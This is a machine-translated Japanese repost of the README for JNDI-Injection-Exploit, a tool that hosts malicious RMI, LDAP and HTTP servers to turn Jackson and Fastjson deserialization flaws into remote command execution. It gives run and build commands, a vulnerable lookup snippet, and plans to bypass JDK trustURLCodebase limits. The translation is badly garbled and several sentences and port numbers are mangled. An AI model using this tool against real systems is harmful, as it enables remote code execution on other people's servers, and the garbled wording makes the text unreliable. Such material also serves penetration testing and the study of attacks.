JNDIインジェクション、エクスプロイト

入門

:最近のツールのJNDIで自分自身を注入する前に書きましたがgithubの、アドレスにビットプッシュを変更RMI、LDAPを含む3つのサービスを、開くためのツールを起動した後https://github.com/welk1n/JNDI-Injection-Exploit、 HTTPサービス、およびその後、JNDIのリンクを生成します。JNDIリンクはジャクソン、Fastjsonのデシリアライゼーションの脆弱性として、テスト注入JNDI関連POCに挿入することができます

3つのサービス、RMI、およびLDAPベースのmarshalsec RMIRefServerで、LDAPRefServerクラス改正、1099年と1389年にそれぞれポートを監視し、HTTPSERVERは、ダウンロード悪質なクラスを提供します。

使用

JARパッケージの実行可能プログラムは、コマンドラインで次のコマンドを実行します。

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

どこで:

  • -C -クラスリモートコマンドファイルが実行されます。

    (オプションは、デフォルトのコマンドは、MACの下で電卓を開くことです、それは「オープン/Applications/Calculator.app」です)

  • -A -サーバーのアドレスは、IPアドレスまたはドメイン名を指定できます。

    (オプションで、デフォルトのアドレスは、最初のネットワークカードのアドレスです)

注意:

  • ことを確実にするために10991389を8180ポートが利用可能であり、別のプログラムによって使用されていません。

    それとも、run.ServerStartクラス26〜28行のデフォルトのポートを変更することができます。

  • コマンドは、パラメータとして渡されますRuntime.getRuntime()。Execの()

    入ってくるコマンドのexec()メソッドを実行することができるようにする必要があります。

現地デモンストレーション:

  1. JNDIインジェクション-エクスプロイト起動します。

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1

    スクリーンショット:

  2. 私たちは、JNDIリンクは次のコードの脆弱性を説明することが容易になり、脆弱に注入された環境を模倣するアプリケーション環境での最初のステップを生成する必要があります。

    public static void main(String[] args) throws Exception{
        InitialContext ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1/fgf4fp");
    }

    上記のコードを実行すると、アプリケーションが対応するコマンドを実行しますが、ここではポップアップ電卓で、何のショットは、あなたがそれを自分でテストすることはできません。

    スクリーンショットは、サーバー側のロギングツールです。

インストール

次の2つの方法がジャーパッケージすることができ

  1. Realease直接ダウンロードジャー。

  2. ソースコードは、独自のパッケージをコンパイルローカルにダウンロードされます。(+ Java1.7 +でテストされ、Java1.8 + Mavenの3.x環境とすることができます)

    $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
    $ cd JNDI-Injection-Exploit
    $ mvn clean package -DskipTests

達成するためのツール

シンプルで小さなツールの実装を書きます

  1. まずcodebaseClassは6ランダムでリンクを背生成する彼らは、それ自体が監視または傍受されるの特徴となっツールによって生成されたリンクを許可したくないので、これがあります。
  2. サーバアドレスの実際のアドレスは、HTTPサーバが無脳より自動化された以上、対応するクラスを返し始める一緒に、自動的にJNDIサーバやHTTPサーバのバインドに、このツールをJNDIサーバーをmarshalsecと比べ、コードベースです。
  3. HTTPサーバーベースのサーブレットの桟橋をより面白く、私はリソースコンパイラの良いクラステンプレートディレクトリに進めることで、実際には、ファイルをダウンロードすることができ、実現し、読み取ることがASMバイトコードのフレームワークを使用して、サーブレットクラスファイルを読み込み、私はASMの下で、当然の結果から、純粋の使用を体験したいRMIRefServer使用Javassistの、参照があるので、修正してから、私たちは実際にはシンプルでより便利にJavassistの使用変更されたバイトコードを実行して返すようにしたいコマンドを挿入すべて同じを見て。

達成すべき

  • falseにJDK trustURLCodebase環境変数のそれ以降のバージョンでは、負荷の遠隔授業を制限し、私は時間を見つけるでしょうJNDIインジェクション・バイパス、このプロジェクトには、このプロジェクトの事制限JNDI JDKを回避するためのリンクを生成することができます。
  • ... ...

おすすめ

転載: www.cnblogs.com/Welk1n/p/11701401.html
おすすめ